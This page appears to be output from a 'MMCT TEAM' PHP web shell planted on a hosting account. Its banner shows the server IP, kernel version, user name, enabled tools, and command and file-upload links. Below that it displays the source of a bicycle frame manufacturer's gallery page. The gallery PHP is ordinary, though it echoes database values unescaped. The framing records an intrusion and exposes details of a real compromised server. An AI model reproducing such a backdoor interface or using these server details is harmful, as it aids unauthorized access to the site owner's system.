MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.136.22.204
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/fozan.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/fozan.in/gallery.php
<?php
include_once('admin/config.php');
?>
<!DOCTYPE html>
<html lang="zxx">

<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
	<title>Fozan Bicycle Frame Manufacturer Company in Ghaziabad</title>
    <meta name="description" content="Fozan Bicycle Frame Manufacturer Company in Ghaziabad, Uttar Pradesh.">
    
	<?php include "head-links.php";?>
	
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.css" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.js"></script>
</head>

<body id="home" class="inner-scroll">
    
	<?php include "header.php";?>
	
	<!-- ================ HEADER-TITLE ================ -->
	<section class="s-header-title">
		<div class="container">
			<h1>Gallery</h1>
			<ul class="breadcrambs">
				<li><a href="<?php echo $wspath?>">Home</a></li>
				<li>Gallery</li>
			</ul>
		</div>
	</section>
	<!-- ============== HEADER-TITLE END ============== -->
	
	<!--==================== S-GALLERY ====================-->
	<section class="s-gallery">
		<div class="container">
			<div class="row-gallery">
				<div class="grid-gallery">
					<div class="grid-sizer"></div>
					<?php
                        $sqlg = "SELECT * FROM `tbl_image`";
                        $rung = mysqli_query($db, $sqlg) or die("Query Not run");
                        $count = 0;
                    ?>
                        <div class="gallery">
                            <?php
                            while ($datag = mysqli_fetch_assoc($rung)) {
                                if (mysqli_num_rows($rung) > 0) {
                                    $count++;
                            ?>
                                    <div class="gallery-item">
                                        <a href="<?php echo $wspath ?>admin/images/gallery/<?php echo $datag['image'] ?>" data-fancybox="gallery">
                                            <img src="<?php echo $wspath ?>admin/images/gallery/<?php echo $datag['image'] ?>" alt="Gallery">
                                            <div class="gal-item">
                                                <h3 class="title">photo #<?php echo $count ?></h3>
                                                <p>Sun Shine Industries</p>
                                            </div>
                                        </a>
                                    </div>
                            <?php
                                }
                            }
                            ?>
                        </div>
                        
                        
					<!--<div class="gallery-item">-->
					<!--	<a href="assets/img/gal-8.jpg" data-fancybox="gallery1">-->
					<!--		<img src="assets/img/gal-8.jpg" alt="img">-->
					<!--		<div class="gal-item">-->
					<!--			<h3 class="title">photo #8</h3>-->
					<!--			<p>Satisfied Customers</p>-->
					<!--		</div>-->
					<!--	</a>-->
					<!--</div>-->
				</div>
			</div>
		</div>
	</section>
	<!--================== S-GALLERY END ==================-->
	
	
	<?php
	include "footer.php";
	?>
	<script src="<?php echo $wspath?>assets/js/isotope.pkgd.js"></script>
	<script src="<?php echo $wspath?>assets/js/scripts.js"></script>
	<script>
        // Initialize Fancybox
        $(document).ready(function() {
            $("[data-fancybox='gallery']").fancybox({
                buttons: [
                    "zoom",
                    "slideShow",
                    "fullScreen",
                    "download",
                    "thumbs",
                    "close"
                ],
                loop: true // Enable looping through images
            });
        });
    </script>
	
</body>
</html>

MMCT - 2023